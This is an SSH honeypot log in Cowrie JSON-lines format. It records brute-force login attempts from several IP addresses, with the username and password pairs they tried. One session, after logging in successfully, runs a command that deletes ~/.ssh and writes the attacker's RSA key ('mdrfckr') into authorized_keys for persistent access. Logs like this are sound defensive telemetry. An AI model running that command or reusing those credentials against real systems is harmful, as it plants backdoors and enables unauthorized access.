{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:14.545155Z","src_ip":"61.245.10.43","session":"244509d5a5cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:15.588319Z","src_ip":"61.245.10.43","session":"244509d5a5cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:16.842212Z","src_ip":"61.245.10.43","session":"244509d5a5cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.245.10.43","src_port":47618,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6093428a0cc","protocol":"ssh","message":"New connection: 61.245.10.43:47618 (10.17.0.5:22) [session: d6093428a0cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:17.089911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:17.094965Z","src_ip":"61.245.10.43","session":"d6093428a0cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:17.345455Z","src_ip":"61.245.10.43","session":"d6093428a0cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:18.382029Z","src_ip":"61.245.10.43","session":"d6093428a0cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:18.638006Z","src_ip":"61.245.10.43","session":"96c142591460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:18.643187Z","src_ip":"61.245.10.43","session":"d6093428a0cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.62","src_port":37178,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc4ac0a65fba","protocol":"ssh","message":"New connection: 64.62.197.62:37178 (159.203.135.109:22) [session: cc4ac0a65fba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:19.320930Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u04f37\\x8c@Z\u0014ee\\xc9\\xebky\u0017\\x9b\\xf0\\xe0\\xf9\\x83\u0018\\xf3\\xa1\\xad\\xf4O\\xd3/\\xb0\\xebM\\xc4\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\u04f37\\x8c@Z\u0014ee\\xc9\\xebky\u0017\\x9b\\xf0\\xe0\\xf9\\x83\u0018\\xf3\\xa1\\xad\\xf4O\\xd3/\\xb0\\xebM\\xc4\\xee\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:19.325798Z","src_ip":"64.62.197.62","session":"cc4ac0a65fba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:19.329554Z","src_ip":"64.62.197.62","session":"cc4ac0a65fba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37884,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9b619fc858","protocol":"ssh","message":"New connection: 2.57.122.208:37884 (10.17.0.5:22) [session: 1b9b619fc858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:28.807984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:29.005809Z","src_ip":"2.57.122.208","session":"1b9b619fc858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:29.009820Z","src_ip":"2.57.122.208","session":"1b9b619fc858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:29.615748Z","src_ip":"2.57.122.208","session":"1b9b619fc858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:30.738179Z","src_ip":"2.57.122.208","session":"1b9b619fc858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":56510,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3bcda8032a","protocol":"ssh","message":"New connection: 43.155.21.198:56510 (159.203.135.109:22) [session: eb3bcda8032a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:37.712420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:37.718050Z","src_ip":"43.155.21.198","session":"eb3bcda8032a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:37.919609Z","src_ip":"43.155.21.198","session":"eb3bcda8032a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"innova","password":"innovapass","message":"login attempt [innova/innovapass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:38.755270Z","src_ip":"43.155.21.198","session":"eb3bcda8032a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:18:39.959234Z","src_ip":"43.155.21.198","session":"eb3bcda8032a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":46564,"dst_ip":"10.17.0.5","dst_port":22,"session":"04969a856116","protocol":"ssh","message":"New connection: 147.50.103.212:46564 (10.17.0.5:22) [session: 04969a856116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:15.661514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:15.666442Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:15.930759Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xy123456@","message":"login attempt [root/Xy123456@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:17.012110Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:17.583518Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:17.586542Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:17.589993Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:17.855714Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.417471Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.420924Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.686610Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.690501Z","src_ip":"147.50.103.212","session":"04969a856116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":47576,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3875dd6b00","protocol":"ssh","message":"New connection: 147.50.103.212:47576 (10.17.0.5:22) [session: 7d3875dd6b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.942561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:18.946108Z","src_ip":"147.50.103.212","session":"7d3875dd6b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:19.205962Z","src_ip":"147.50.103.212","session":"7d3875dd6b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:20.278340Z","src_ip":"147.50.103.212","session":"7d3875dd6b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:21.542267Z","src_ip":"147.50.103.212","session":"7d3875dd6b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.103.212","src_port":48550,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc65fa0f3b8","protocol":"ssh","message":"New connection: 147.50.103.212:48550 (10.17.0.5:22) [session: dbc65fa0f3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:21.799318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:21.803545Z","src_ip":"147.50.103.212","session":"dbc65fa0f3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:22.065842Z","src_ip":"147.50.103.212","session":"dbc65fa0f3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":43334,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5101f1ab6dc","protocol":"ssh","message":"New connection: 27.111.32.174:43334 (10.17.0.5:22) [session: a5101f1ab6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T06:19:22.118548Z"}
